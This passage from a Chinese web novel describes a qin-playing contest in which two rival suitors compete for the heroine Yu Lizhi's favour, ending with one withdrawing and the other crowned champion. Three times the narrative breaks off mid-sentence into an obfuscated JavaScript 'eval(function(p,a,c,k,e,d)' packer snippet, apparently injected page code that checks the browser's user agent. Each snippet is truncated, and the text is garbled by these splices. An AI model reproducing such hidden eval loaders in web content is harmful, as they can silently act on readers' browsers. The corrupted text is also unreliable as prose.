内厅内的众人陷入了短暂的寂静之中。过了一会,才有人小声缓缓开口。 “嘶……出乎意料地,竟然也不错?” “此言差矣!公子有所不知。细细听来,这名暮公子的指法还是略有生涩的,多次转音处处理地用力过满,颇有过犹不及之意,技法仍是难比陵公子的。” 郁离枝看向台上正弹奏之人,此刻正眉眼紧蹙,面容一丝不苟,一副全然紧绷又竭尽全力之态。 郁离枝屏息看了一会,无意识吐出一口气。 “嘶,细听后半曲竟也觉得……有点那种意思,此人确实也无愧榜眼之名的。” “……果真?”另一人语气微愕。 不多时,暮云逸亦曲毕,行一礼后退居一侧。 司正走上台前:“那么,有请三位评委,举牌投票。” 青年评委纠结一番,最终举起了“暮”字牌。 中年评委目色沉稳,稳稳举起了“陵”字牌。 而那位长者评委……竟是直接抱着酒坛闭眼垂头,摇摇晃晃举起了“陵”字牌。 全场寂静无声。 “呃……那么投票结果便是,陵镜听,两票;暮云逸,一票。我宣布,第一局,陵镜听胜!” 陵镜听玉面含笑,眼睛轻轻掠过台下郁离枝的双眼,眉眼弯弯成柳叶,却又一点即过。 可另一侧的暮云逸,看上去却全然不像是心情这么轻松的样子。 郁离枝将眼睛移过去,由于她离戏台十分近,她甚至能看到暮云逸鬓角被汗水沾得湿粘的长发,还有他微微侧身之时,肩胛后背上微微洇出的汗水。 就在此时,台上的暮云逸身形一僵,亦抬眼望向观众席上郁离枝所在的方位。 两人视线短暂交汇,暮云逸先错开了眼。 郁离枝没有动,却无端觉得暮云逸刚才那受伤双眸好似一个做错了事的孩子,那眼神分明是在说: “对不起,我输了。” 司正又登上台中央,开始播报下一轮规则。 “接下来是决赛第二轮,复原比拼!受试者将同时与在场各位看客一同欣赏一首由三位评委同做的曲目,此曲目从未面世过,今日是初次弹奏!两位受试者需记下曲中旋律,并自行复原原曲,并由三位评委裁决结果!” 考记忆力?郁离枝眉毛一挑,没想到决赛居然还会考这种内容。 “此轮比试,在前一位选手演奏之时,我会为后一位选手戴上玉充耳以达隔音之效,并将此选手安置在屏风之后,从而确保每位选手都只听了一遍琴音。” 郁离枝点点头,对此项规则表示认可。 两位侍者又上台来为两位公子送上签筒,此次抽签的结果是暮云逸五,陵镜听四,暮云逸占先。 两位选手分别坐于戏台两侧,那位年轻些的评委跳上台去,在已置于琴案之上的青丝楠木古琴上,潇洒弹奏了一曲调颇为不拘一格的华美旋律。 观众席上鸦雀无声,许是座上宾客也都知此曲每个音声都极为重要,皆连大气也不敢出。 曲毕,侍者为陵镜听戴上玉充耳,背对台前居于屏风之后。 台前,暮云逸深吸一口气,继而落指抚琴。 “嘶,有点东西的。听起来……复原的有九成还多……” 而戏台前的评委席,那醉意老翁本瘫在座上鼾声微起,可暮云逸琴声一响,鼾声骤停。 郁离枝看过去,只见他猛地睁开眼,两只眼瞪得溜圆,直愣愣地盯着台上抚琴的暮云逸,活像是白日见鬼。 “喔?连退隐多年的无前辈都得正眼相看,这人也无愧是能与上届的''尘川第一弦''较量之人。” 郁离枝不通音律,闻言只是静静地看着台上的暮云逸。 一曲终了,暮云逸行一礼退后。侍者走入屏风,陵镜听持琴缓步走出。 一曲又响起。 在郁离枝看来,这三首曲子皆没有什么异处,仿若同一个模子里刻出来的。 三位评委举起字牌——中青年二人分别投了陵、暮二人一票,众人目光移到那老者身上—— 老者摸了桌上字牌,缓缓举起一个“暮”字。 满座哗然。 “嘶……平局了?!” “这暮云逸是何方神圣,竟然能跟上届魁首叫板?” 而此时观众席议论的焦点,那刚刚扳回一城的暮云逸,却将目光投向席上某处。 郁离枝看向那双干净明亮得几近剔透的双眸。 不是邀功,不是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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徽元轩一拱手,请郁离枝下座,随即身后跟出几名侍者,中间一名侍者手上拿着一只容量稍大的签筒。 “既然也都是府上乐师,那这决赛第三轮选定主题环节,就由这位贵客,离枝小姐抽签决定吧。” 郁离枝骄矜地微一颔首,从容下座,无视观众席上略显杂乱的议论之声,款步走至那名持着签筒的侍者面前。 “签筒内放着十五只竹签,其上写着十五个不相重复的戏词,选手将根据抽出的戏词主题,自行即兴作曲。” 台上两名选手皆注视着郁离枝,一人目光追随,颇有种痴痴的意味;另一人目光和缓,只是笑面盈盈,好似一汪春水。 郁离枝在那签筒前站定,侍者垂首,恭敬地不与郁离枝对视,将手中签筒分寸适宜地向前微微一递。 郁离枝伸出纤指,往那签筒中一伸,以两指夹出了一只竹签。 只见上面赫然写着一句诗词: “问世间,情为何物?” 郁离枝微微一愕。 竟是这只。 可瞬息之后,郁离枝便恢复端庄神色,将手中竹签双手拿起,向台上一示。又转身,向身后观众席上的诸位来客轻举展示。 犹如一颗石子投入平寂如镜的湖面,观众席上,顿时惊起轩然大波。 25. 雄竞扯头花(十) “问世间,情为何物?” 观众席上炸起七嘴八舌的议论声。 “……爱情主题?!这是清音集自创办以来从未有过的事情吧?” “而且此签还是由那个郁府三小姐抽出的……怕是此人跟台上这两位公子……渊源颇深啊。” 徽元轩对郁离枝一礼,示意她与自己一道,去评委席就座,并对观众道: “此次第三轮,徽某提议再加一位评审,全当是对离枝小姐这半个东家的一点小小谢意。” 郁离枝微微颔首致谢,在徽元轩的礼让下坐上评委席。 她坐定,抬眼望向台上二人—— 暮云逸自看到那竹签上词句之时,就已呆然木住,脸上表情瞬间变成空白。 而后血色渐渐褪去。 ……爱情? 为什么是这个主题? 离枝姑娘选到的的主题……我要创作一首爱情曲子给离枝姑娘听…… 暮云逸不自觉抚上心口,仿佛在这光天化日之下,这大庭广众之间,在这间厅堂之中,他的隐秘心思被生生剖开,活活摊开示众。 他下意识抬眼,看向评委席上的郁离枝。 而郁离枝此时却恰好与陵镜听目光交接。 陵镜听初看见那“问世间情为何物”七字诗句之时,亦是一怔。 不太常见的主题啊。 但是在目光触及郁离枝面容的时候,陵镜听又柔柔弯起唇角。 也好。把自己不曾道与她的那些思绪,和了这琴曲,一并告知与她吧。 司正威仪声音响起,宣布第三轮比试正式开始。 侍者上台送来签筒,此次是陵镜听“四”,暮云逸“一”,陵镜听先手。 陵镜听得了次序,微微一笑,持琴走上台中央。一拂衣袂,白衣与黑发一齐飘起,一瞬恍若世间仙子,可那轻挽的唇角又让人觉得他好似什么山间妖神。 他坐于琴案前,含笑眉眼看了郁离枝一眼,而后抚琴。 这下郁离枝却好像有点听懂了。 入奏悠扬和缓,听上去仿佛眼前有一安静、和暖的山间小径,春雨浇灌过后的土地和嫩芽散发出清新气味。而这曲中人怀揣着一点点的雀跃欢喜,步履轻快地好似要去见心上人。 一声清脆琴音过后,旋律陡然加快,各式溢美的音符一个接一个跳跃而出,而又编织成曲。好似曲中之人惊鸿一瞥,恍然见到了一位自天宫而下的绝美仙瑶,要把满腔华美之词都加之其上。 曲风又一转,变成缠绵缱绻的暧昧拉扯,热情炽烈地求好示爱,激情似火地你来我往。好似曲中人终于与仙瑶步入热恋,双宿双飞,二人享受眼中只余彼此的甜蜜世界。 琴曲的最后,是悠扬连绵的长音,平淡郑重中含着永恒之誓,好似在说“白首不相离”、“生同衾,死同穴”的誓言。 弦上止歇,而余音未止。 席间爆发出一阵掌声和欢呼。 “此乃天上才有之音!连我这半个音痴都听得如痴如醉,陵公子果然厉害!” 郁离枝眼中亦流露出几分欣赏之色。 陵镜听面上挂着谦顺笑意,向评委席一礼,又向观众席一礼,退了下去。 暮云逸在陵镜听演奏完后,便下意识看向了郁离枝,也不出意外看到了郁离枝眼中欣赏神色。 他眼神一黯,微微低头,持了琴按照规程走向戏台正中。 他坐于琴案前,深吸一口气,琤然一声,开始抚琴。 音律一股脑倾泻而出。 “……嗯?这位暮公子是……怎么回事?听错题了?” “对啊,这种沉重旋律,怎么会跟爱情沾边?审题看岔眼了?真可惜啊,看来要无缘夺魁咯……” 观众席上有人叹声摇头。 “等等,或许不是……” 座上一人目光死死盯着于台上抚琴的暮云逸,兀自喃喃。 暮云逸所弹奏的曲子,比之陵镜听,切入确实要低沉许多。 一种喑沉的、晦涩声调,好似置身凝滞不通的湖泊底部,抬眼望去,光线被浮萍堵了个严严实实,一丝光线也照不见身上。想要开口,深水撕咬走了声息,求告无门;想要呼吸,湖水肆意攫取吐出的气泡,也在一点点攫取这湖底之人的生命力。 座上评委听闻此声微动。青年评委抱臂看向暮云逸,挑眉神色不可置信。中年评委将手撑在桌案上,呈塔状,目含审视意味。那“无事人”老者,此刻在郁离枝旁边发出均匀而轻微的鼾声。 郁离枝眉头微蹙。这曲子,好像确实不太符合爱情这一主题的。 可几息之后琴声一转,却是阳光、空气与鲜花,是一切的生机和希望,是全然的呐喊与赞叹。 手指拨动琴弦,却好似铺洒出一道道花路,每个音符都是点缀其间的花朵。 评委姿态微微松动。 可这一段昂扬曲调之后,曲声又黯淡了下去。好似声声说不出口的艰涩质问;好似夜夜辗转难眠的痛苦时分;好似自己亲手破膛破肚,把一颗心奉上;又好似那佳人只看一眼那脏污心脏,便弃之敝履,丢在一旁置若罔顾…… 青年评委抱着的手臂放了下来,那老者的鼾声亦不知何时消散了。 琴声陡然加快,是快马加鞭的狂飙,是孤注一掷的疯寻。仿佛亡命将军持枪策马浴血拼杀,只为夺回国中质女,却在亡枪血泊之中,此生最后一眼见到被敌国押走凌虐的公主…… 中年评委搭在眼下的手指塔尖下移了几寸。 又好像天涯客本该无牵无绊,快意一生。却因一人而心系尘缘,奔波苦寻,却只赶得及见心上人最后一面。 至此,曲调如同杜鹃啼血,苦痛决绝汪洋而下,如声声嘶吼呐喊,最终喊累了,吼累了,一声轻剑落地之声,曲中人倒在心上人的血泊里,再无声息,亦无琴音。 暮云逸起身,拾琴,向评委与观众一礼。 四座寂静。整个厅堂内无一丝声音。 一声啜泣打破了此间寂静。 “……阿莲、呜……阿莲……” 中年评委流下两行清泪,肩膀颤抖着失声哽咽道。 郁离枝愕然望过去。 青年评委忙着安抚身侧前辈,转头面含歉意: “前辈许是……想起了他刚刚逝去不出二载的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——“问世间,情为何物?” ——“直教生死相许。” 这是她从暮云逸琴声里读出来的。 所以,她投给暮云逸。 台上二人双双愣住。不同的是,暮云逸眼中泛起湿意,短暂的愕然之后是柔软的惊喜,而陵镜听,却是出奇地,久久地,无法遏制地表情空白与呆愣。 是一种,他之前从未展现于人前过的表情。 好像一个小孩子,在临近收摊的铺子里买最后一只糖葫芦。他与另一人同时来,同时要,却看着老板转身将最后一只糖葫芦递与了身侧一人。 愣怔数秒,嘴角弯起半个自嘲弧度,但却终究是用力过猛,弯成了一个释然弧度。 终究是他输了。 司正走至两人中间,正要开口宣布结果:“那么本次''清音集''魁首为……” 评委席上却传来一声: “……且慢!” 26. 雄竞扯头花(十一) “无事人”盯着台上二人,目光炯炯直视了半晌,忽而将那酒坛往桌上一撂,正色道: “老朽与这离枝姑娘曾有过一面之缘,虽无意驳年轻人之意,但老朽仍是有些话要说。” 老者直视着台上司正,双眸内一丝醉意也无。 “两位选手皆是百年难遇的高手,二人势均力敌,仅从当前赛局来看,还远未到能分出胜负的程度。依老朽浅薄的认知,赛事停在此处未免太过草率,不若让两位少年郎皆施展身手,届时再下定夺,也不算晚。因此老朽思虑一番,还是决定收回先前的投票,而是将此票——” “无事人”眼睛一转,将目光放到陵镜听身上。 “——投给陵公子,老朽还未看够。” 厅堂寂静几秒。这下不光是观众和选手目瞪口呆了,连素日端方自持的司正也从未见过此等情景,立在两选手之间,面色怔愣。 郁离枝亦是愣了两秒,但转而迎了老者问询的目光,挂着谦和笑意微微点头。 毕竟老者为尊。 而在司正身侧,眼见着桂冠还有几寸就要戴到头上,却又硬生生因老者一句话就凭空收走的暮云逸,面色茫然,目中不自觉流露出一丝下意识的焦急委屈。 离枝姑娘说,本届魁首方可为她献曲。 明明马上就…… 司正打了个磕巴,搜肠刮肚迅速稳定场面道: “呃……既如此,那么本届''清音集''将会依立赛之初订立的第十二条规定,启用加赛程序……” 司正转向身侧二人,公事公办道: “对于增加赛程一事,二位可有意见?”司正说着向前朝评委席迈了一步,持了记录册要与几名评委商议,“若皆同意的话,将会由几名评委和几名专业人士制定第四轮赛事的选题及规则……” 司正都已走出了两步,余光却见身侧一白衣公子上前一步,衣袂拂起,如茗茶般温润的声音也随之轻起: “……不必了。” 司正僵住,缓缓转头。 “镜听……弃赛。” 话音一落,四下是死一般的寂静。 台下一众观众的面色顷刻碎裂,比之怔愣的司正竟也有过之而无不及。 “……什么?!” “陵公子要弃赛?……为什么?” 台下观众惊愕双目圆睁,下意识喃喃。 “陵公子!我可是押了你会赢的,不要放弃啊!” 台下一位观众如是喊道,面上神情激动。 陵镜听却于高台之上轻摇头,抬起头又是一派无瑕无双公子之姿,好似投票之时,那露出脆弱表情的人不是他一样。 “镜听感谢各位的期望与厚爱。只是……”陵镜听将目光移至评委席,移至其上唯一的一位女子身上,顷刻卸去了所有的伪装,眼神内翻涌着遗憾、不甘与不舍,却又一闪而过,随即被释然替代,“只是镜听明白了重要之人的决定,也尊重重要之人的选择。” 郁离枝迎了那目光,终是有些于心不忍,端坐于座上,以眼神问询对方是否已经决定,仍是未发一言。 陵镜听看向女子终于起了些许波澜的双目,竟是释然一笑。 “……镜听始终以为,琴曲是弹给人听的。若此曲终是不能为人所赏,或是……曲中之意不为被传达心意之人所容……那么此曲的意义也就不复存在了。” 郁离枝望向台上公子的如玉笑颜,眼神复杂。 “镜听只是个云游四方的浪人,或许终是只适合羁旅一生。尘川很好,很美,可此地终究不是镜听的归所,”陵镜听微不可查地叹口气,又抬起明眸望向郁离枝,笑靥恍若漫天凉星,不见一丝阴郁,“因此,这''尘川第一弦''之名,镜听还是不便一直霸占着了,还是把它交给更适合它的人吧。” 暮云逸倏地转头,目光浑是不可思议。 几息平静后,观众席上炸开了锅,几位名门站起了身,似是有话想说,却还是碍于场面,攥紧了拳头没有出声。 “无事人”也未曾料到陵镜听会弃赛,但听了陵镜听的理由,却是开怀一笑。 果然是年轻人啊。 “陵公子……您确定?”司正转过身,看着陵镜听一字一顿道。 “陵镜听自愿放弃加赛环节。” 司正机械地回身,定了定神,勉强调动起顺拐四肢站到戏台中央。 不能怪他见识少,只是这赛上几人一个赛一个地不按常理出牌,今日他见过的奇人已经比他过去几年见过的都要多了。 台上两位选手,一位面色释然,另一位却死死地盯着对方,浑然不顾在此等场合这种举动是否失态不妥。 陵镜听察觉了那目光,却是微微侧首,含着笑意轻轻点头。 “那么……”司正站回到台上二人之间,张口干干巴巴道,“如无异议的话,本届''清音集''将依照规程回退票目……” 司正以眼神扫视,一一问询。陵镜听,暮云逸,评委席上的东家徽元轩,郁离枝,还有刚刚变更票目的老者,以及余下两名评委,最后眼神甚至扫过一片死寂的观众席。 没有一人站出来叫停。 “那么我正式宣布,本届''清音集''魁首为——暮云逸!” 一锤定音之声,恍如一道惊雷劈在空旷厅堂,一时之间,人们竟是不知该作何反应。 唯有台上陵镜听听闻此言,却是缓缓呼出一口气,将温软目光望向郁离枝,仿佛在做什么最后的告别。 几声清脆掌声打破了沉寂。 “好,好!”“无事人”率先拊掌,对着台上二人,响亮地喝彩。台下观众席也终于如梦初醒一般,响起一片真心实意的欢呼之声。 其间也夹杂着些看好陵镜听之人的幽怨不平之声,不过最后也无法,只得归于一声叹息。 陵镜听从台上退下,坐于选手席。司正于台上,姿态恭敬地为暮云逸颁发了奖札。 至此,本届清音集也渐渐落下了帷幕。 接下来便是世家名流们流觞曲水,吟诗作赋之时了。 凉山别业的侍者为观众席上的名流们替换了新的酒水笔墨,还送上各式风雅玩乐之物。徽元轩对着评委席上几位琴曲名流拱手作揖,不用听似乎也能知晓那即将脱口而出的恭维恭敬之语。 郁离枝向几位前辈行了一礼,率先离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陵公子云游何处,离枝都愿倾力相助,权当是对陵公子几日屈居府上的一点谢意。若陵公子不日回到尘川……郁府的大门,也永远会对陵公子敞开。” 她说得体面,竟是让陵镜听持茶的手微微一顿,面色一愣。 他下意识望向那层层人影包裹之中的人。恰逢那其间之人终于应付了重重盛情恭维,终于得以脱身而出,下意识抬起渴求双眸望向评委席,却未寻见那个人影。 若有所感地,暮云逸望向面前选手席,如愿看到了安坐其上喝茶的郁离枝。 还有她身侧怔怔望向他的陵镜听。 可当他目光偏移向这座上白衣男子,意欲看清此人面上神色时,却见此人—— 唇角轻弯,缓缓开口: “离枝姑娘,镜听走前,还有一事想要告知。” 郁离枝端坐凝着茶水,神情慵懒,语气却郑重:“何事?” 那白衣男子却于几息之间,靠近郁离枝身侧,附耳开口。 郁离枝端着茶杯的手顿住,下意识抬头,恰好撞进席下暮云逸仰望的眼。 “有花堪折直须折,莫待无花……空折枝。”